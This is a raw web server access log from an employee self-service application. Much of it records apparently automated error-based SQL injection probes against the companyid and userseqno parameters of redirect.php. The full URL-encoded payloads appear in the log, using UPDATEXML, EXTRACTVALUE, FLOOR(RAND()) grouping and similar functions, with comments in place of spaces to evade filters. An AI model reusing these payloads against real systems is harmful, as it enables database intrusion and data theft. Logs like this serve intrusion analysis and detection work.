100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d527250%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e513039%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x65436345%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61624131%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x714f5263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79307a76%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FROW%282018%2C1386%29%3E%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x714f5263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79307a76%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2027%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F8505%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F7491%2F%2A%2A%2FUNION%2F%2A%2A%2FSELECT%2F%2A%2A%2F4808%29a%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5363635a%2C%28NULL%29%2C0x4c647272%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x5363635a%2C%28NULL%29%2C0x4c647272%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6e626e77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72746976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x6e626e77%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x72746976%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65487862%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646a6833%29%29x%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x65487862%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x646a6833%29%29x%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d723671%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a514b5a%29%29x%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x6d723671%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a514b5a%29%29x%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52453538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3862796c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x52453538%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3862796c%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x50614c64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x455a4350%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x50614c64%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x455a4350%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x30764d44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4f5459%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x30764d44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f4f5459%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c42796c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x526c3072%29%29%2C1%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c42796c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x526c3072%29%29%2C1%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:21:55 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x5844324a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5948636f%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
